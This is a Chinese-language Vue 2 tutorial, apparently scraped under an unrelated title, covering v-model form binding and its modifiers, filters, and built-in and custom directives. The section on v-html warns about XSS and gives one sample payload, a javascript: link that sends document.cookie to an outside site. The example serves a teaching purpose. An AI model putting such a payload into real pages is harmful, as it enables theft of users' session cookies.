html5 房地产网站案例自己建站的网站
目录
表单输入绑定
基础用法
修饰符
过滤器
指令
内置指令
自定义指令
全局指令
表单输入绑定
之前篇幅讲过使用v-model指令在表单<input>/<textarea>以及<select>元素上创建双向数据绑定，它会根据控件类型自动选取正确的方法来更新元素，其实就是将input输入的值value自动绑定，并更新数据。它就是语法糖，负责监听用户的输入事件以更新数据，并对一些极端场景进行一些特殊处理~
基础用法
表单分为input/textarea/select，input有text/checkbox/radio/password等类型，下面分别进行讨论
<div id="root"><form>账号：<input type="text" v-model="account"><br></br>密码：<input type="password" v-model="password"><br></br>性别：<input type="radio" name="sex" v-model="sex" value="male"> 男<input type="radio" name="sex" v-model="sex" value="female"> 女<br></br>爱好：<input type="checkbox" v-model="hobby" value="playPingPang">打乒乓球<input type="checkbox" v-model="hobby" value="sleep">睡觉<input type="checkbox" v-model="hobby" value="watchTV">看剧<br></br>所属地区：<select name="" id="" v-model="region"><option value="">请选择</option><option value="Shanghai">上海</option><option value="Beijing">北京</option><option value="tianjin">天津</option><option value="guangzhou">广州</option></select> <br></br>补充说明：<textarea v-model="other"></textarea></form></div><script>const vm = new Vue({el: "#root",data: {account: '',password: '',sex: '',hobby: [],region: 'Shanghai',other: ''}})</script>对于类型为text、password的input框，以及select和textarea表单，这种有输入值的表单，默认v-model绑定的value值即输入值，所以无需再专门指定value值；
对于radio、checkbox来说，若不专门指定value值，由于前端并未输入内容，则虽然显示checked为true或false，但是实际的value值为null，因此要特别绑定value值，另外，对于多选框checkbox来说，若data中未定义绑定的数值为数组类型，则会出现选中一个，则其它多选框也会被选中的情况；（即单选框，绑定到布尔值，多选框，绑定到数组）
修饰符
v-model也可以加修饰符，如.lazy/.number/.trim
- .lazy
在默认情况下，v-mode在每次input事件触发后将输入框的值立即与数据进行同步，若想在input输入完成后再同步，可以添加lazy修饰符，从而转化为在change事件（失去焦点）之后进行同步；
账号：<input type="text" v-model.lazy="account">- .number
由于输入框拿到的数据为字符串（即使在设置了标签为type='number'后，HTML输入元素的值也总会返回字符串），若想将用户的输入值转为数值类型，则要给v-model添加number修饰符后；
年龄<input v-model.number="age" type="number">- .trim
若想自动过滤用户输入的首尾空白字符，则要给v-model添加trim修饰符
账号：<input type="text" v-model.trim="account">过滤器
过滤器能实现对要显示的数据进行特定格式化后再显示，它并没有改变原来的数据，直接产生了新的与之对应的数据；
<div id="root"><h3>当前时间戳是：{{time}}</h3><h3>格式化处理后的时间是: {{time | timeFilter}}</h3></div><script>console.log(Date.now());const vm = new Vue({el: "#root",data: {time: 1643164727498,},filters: {timeFilter(value) {return dayjs(value).format('YYYY年MM月DD日')}}})</script>上述代码讲解：
{{time | timeFilter}}上述代码中，time表示过滤器要处理的数据，中间为管道符|，后面为过滤器timeFilter，该方法的实现逻辑是指：将time作为参数传给timeFormater过滤器--->调用timeFormater过滤器--->将拿到的返回值给{{time|timeFormat}}，呈现页面；
filters: {timeFilter(value) {//此处的value是默认参数timereturn dayjs(value).format('YYYY年MM月DD日')}
}过滤器函数若未加参数，则默认参数是管道符前面的属性，此处即time，若加了参数，则不仅有传入的参数，还有默认的管道符前面的属性；
<div id="root"><h3>当前时间戳是：{{time}}</h3><h3>格式化处理后的时间是: {{time | timeFilter('YYYY年')}}</h3></div><script>console.log(Date.now());const vm = new Vue({el: "#root",data: {time: 1643164727498,},filters: {timeFilter(value, str) {console.log(value); // value是默认参数console.log(str); // str是YYYY年return dayjs(value).format(str)}}})</script>过滤器之间可实现串联操作，即将前一个过滤器的返回值作为默认参数传给下一个过滤器；
<div id="root"><h3>当前时间戳是：{{time}}</h3><h3>格式化处理后的时间是: {{time | timeFilter('YYYY年MM月') | timeSlice(4)}}</h3></div><script>const vm = new Vue({el: "#root",data: {time: 1643164727498,},filters: {timeFilter(value, str) {return dayjs(value).format(str)},timeSlice(value, num) {return value.slice(0, num)}}})</script>过滤器还可以用在v-bind上，用的不多
<input type="text" v-bind:id="rawId | formatId"></input>-
全局过滤器
在创建vue实例全局定义过滤器：
Vue.filter('capitalize', function(value) {if (!value) return ''value = value.toString()return value.charAt(0).toUpperCase() + value.slice(1)})指令
内置指令
之前介绍过一些内置指令，如v-bind/v-model/v-for/v-on/v-if/v-else/v-show
v-bind：表示单向绑定解析表达式，可简写为:xxx；
v-model：表示双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-text：向其所在的节点中渲染文本内容，与插值语法的区别是v-text会替换掉整个节点中的内容，如：
<div id="root"><div v-text="name">你好</div><!-- 只会展示出来 柳柳 --><div>你好，{{ename}}</div><!-- 展示出来 你好 --></div><script>const vm = new Vue({el: "#root",data: {name: '柳柳',ename: 'liu'}})</script>v-html指令：可以向指定节点中渲染包含html结构的内容；它和v-text一样，也是会替换掉节点中所有的内容，并且可以识别html结构，但是v-html有安全性问题，因为在网站上动态渲染任意html是非常危险的，容易导致XSS攻击，一定要在可信的内容上使用v-html，而且不要在用户提交的内容上使用；
<div id="root"><div v-html="str">你好</div></div><script>const vm = new Vue({el: "#root",data: {str: '<a href=javascript:location.href="http://www.baidu.com?" + document.cookie>危险链接</a>',}})</script>v-cloak指令：配合CSS使用，可以解决网速慢时页面展示出未经解析的模板（如{{xxx}}）问题；
没有值，直接使用v-cloak，在Vue实例创建完毕并接管容器后，会删掉v-cloak属性；
<style>[v-cloak] {display: none;}
</style><div id="root"><div v-cloak>{{name}}</div></div><script>const vm = new Vue({el: "#root",data: {name: 'xiaoming'}})</script>v-once指令是指所在节点在初次动态渲染后，就视为静态内容，以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能；
<div id="root"><h2 v-once>初始化的n值是： {{n}}</h2><!-- 这个n值不会动态改变，只会在加载页面的时候动态改变一次，变为1 --><h2>当前的n值是： {{n}}</h2><button @click="n++">点我n+1</button></div><script>const vm = new Vue({el: "#root",data: {n: 1}})</script>v-pre用于跳过没有使用指令语法、插值语法的节点，加快编译过程；
<h2 v-pre>马上放假喽~</h2>自定义指令
除了核心功能默认内置的指令（v-model和v-show），Vue也允许注册自定义指令；自定义指令是个函数，但不会通过返回值形式拿到结果；有两种方式：定义回调函数方式与定义配置对象方式
- 定义回调函数
示例：定义一个v-amplify指令，和v-text功能类似，将绑定的数值放大10倍；
<div id="root"><h2>当前的n值是： {{n}}</h2><h2>放大10倍后的n值是： <span v-amplify='n'></span></h2><button @click="n++">点我n+1</button></div><script>const vm = new Vue({el: "#root",data: {n: 1},directives: {amplify(element, binding) {// 定义指令的时候不加v-，使用的时候为v-xxxconsole.log(element, binding);// element即指令所绑定的元素，可以用来直接操作 DOM，binding是一个对象，表示元素与指令之间的绑定关系element.innerText = binding.value * 10}}})</script>官网上关于指令参数的介绍如下：
回调函数何时会被调用：指令与元素成功绑定时，即刚开始vue接管模板初始化的时候；在指令所在的模板被重新解析时也会被调用；
- 定义配置对象
示例：定义一个v-fbind指令，和v-bind功能类似，但可以使其所绑定的input元素默认获取焦点；
此时用函数方法，很难找到何时让其获得焦点的时刻，因为在绑定关系成立后，拿不到input输入框啥时候解析在页面的时刻，因为无法获得input框的焦点，基于此，采用配置对象方法；
<div id="root"><input type="text" v-fbind:value="n"></div><script>const vm = new Vue({el: "#root",data: {n: 1},directives: {amplify(element, binding) {// 定义指令的时候不加v-，使用的时候为v-xxxconsole.log(element, binding);// element即指令所绑定的元素，可以用来直接操作 DOM，binding是一个对象，表示元素与指令之间的绑定关系element.innerText = binding.value * 10},fbind: {// 该对象中可以放入很多函数，保证在每个时间点执行要做的函数,每个函数中的参数都是element与bindingbind(element, binding) {// 指令与元素成功绑定时（即初始化时）element.innerText = binding.value * 10},inserted(element, binding) {// 指令所在元素被插入页面时element.focus()},update(element, binding) {// 指令所在的模板被重新解析时element.value = binding.value},}}})</script>这三个函数：binding、inserted、update三个函数被称为钩子函数；官网介绍如下：
可以看出来第一种回调函数方法是第二种方法省略掉inserted方法的简写形式；
注意：
指令相关的函数中的this皆指向windows
指令名若是多个单词组成，则要使用kebab-case命名方式，不能用驼峰命名法，如:
'big-sum': {bind(element,binding){},inserted(element,binding){},update(element,binding) {}
},
或
'big-sum'(element,binding) {}全局指令
在创建vue实例全局定义指令：上述两种方法分别对应如下：
Vue.directive(指令名，配置对象)
或
Vue.directive(指令名，回调函数)